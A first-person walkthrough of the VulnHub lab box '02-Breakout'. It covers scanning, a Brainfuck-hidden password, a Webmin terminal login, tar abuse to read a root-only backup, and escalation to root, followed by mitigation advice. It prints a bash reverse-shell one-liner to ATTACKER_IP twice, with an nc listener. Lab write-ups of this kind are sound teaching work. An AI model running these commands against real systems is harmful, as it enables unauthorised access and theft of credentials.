02-Breakout — VulnHub walkthrough
A compact, beginner-friendly box that teaches careful source analysis, Webmin enumeration, and abuse of local tooling (tar) to exfiltrate protected files. This writeup is hands-on and includes commands, screenshots, and remediation suggestions.
TL;DR
I solved 02-Breakout by: network discovery → decoding Brainfuck text found in the web source → using that secret to authenticate to Webmin → using a Webmin terminal to create a tar archive of a root-only backup → extracting the password and switching to root via su (or by spawning a reverse shell and using the credential).
1) Setup & environment
I used a Kali-style attacker VM. Replace IP addresses with your lab environment values.
2) Recon — netdiscover & nmap
First step: find the VM and enumerate services.
sudo netdiscover -r 192.168.56.0/24
sudo nmap -sC -sV -p- -oN nmap_full 192.168.56.110
Nmap showed the usual web port 80/tcp and also 10000/tcp and 20000/tcp, both running MiniServ (Webmin).
3) Inspect web root — hidden Brainfuck payload
The default Apache page looked normal, but the page source contained a block of Brainfuck ciphertext. I copied that blob for decoding.
I decoded the Brainfuck text using a decoder and saved the resulting string as a candidate password.
4) Enumerate services & users
I ran enum4linux to pull SMB/NetBIOS data and user listings. The enumeration revealed a username: cyber.
enum4linux -a 192.168.56.110
5) Webmin login — terminal in the UI
I tried credentials: cyber with the decoded secret. One of the Webmin ports accepted the login (port 20000 in my case), and the dashboard included a built-in terminal module.
From the Webmin terminal I had command execution as the cyber user. I retrieved the user.txt file and explored the filesystem.
cat /home/cyber/user.txt
ls -la /var/backups
6) Abusing tar to read root-protected backups
The key insight: although /var/backups/.old_pass.bak was root-only, the system allowed creating an archive that includes that file. If the attacker can create an archive in a readable location, the file contents become extractable.
# on target (Webmin terminal as cyber)
tar -cf /tmp/creds.tar /var/backups/.old_pass.bak
# inspect archive
ls -l /tmp/creds.tar
# extract to temp and view
tar -xf /tmp/creds.tar -C /tmp
cat /tmp/var/backups/.old_pass.bak
Inside the extracted file I found the root password in plaintext. Save it securely — it's the lever for escalation.
7) Get an interactive shell & escalate
Because browser-based su - sometimes fails from Webmin, I spun a reverse shell and used the credential to switch to root locally.
# on attacker
nc -lvnp 4444
# on target (via Webmin terminal)
sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Once the reverse shell connected, I used su - with the password and confirmed root:
su -
# enter password obtained from .old_pass.bak
whoami
# -> root
cat /root/root.txt
Post-mortem: why this box worked
- Credentials or hints encoded in public web content — even obfuscated content in HTML can leak secrets.
- Management interface (Webmin) exposed with weak separation of privileges — the UI exposed a terminal that allowed command execution.
- Available tooling (tar) and writeable directories allowed an attacker to exfiltrate root-owned files.
Mitigations & remediation
- Never host secrets in web assets (even obfuscated). Treat web content as public by default.
- Restrict admin interfaces (Webmin) to management networks and use strong authentication + 2FA.
- Harden web management UIs: disable terminal modules unless strictly required.
- Audit backup directories — never store plaintext credentials in backups; at minimum encrypt them.
- Whitelist commands accessible via web consoles and use AppArmor/SELinux to limit tool abuse.
Quick command reference
# Recon
sudo netdiscover -r 192.168.56.0/24
sudo nmap -sC -sV -p- -oN nmap_full 192.168.56.110
# Enumerate users
enum4linux -a 192.168.56.110
# Create tar (target)
tar -cf /tmp/creds.tar /var/backups/.old_pass.bak
tar -xf /tmp/creds.tar -C /tmp
cat /tmp/var/backups/.old_pass.bak
# Reverse shell (attacker)
nc -lvnp 4444
# target:
sh -i >& /dev/tcp/ATTACKER_IP/4444 0>&1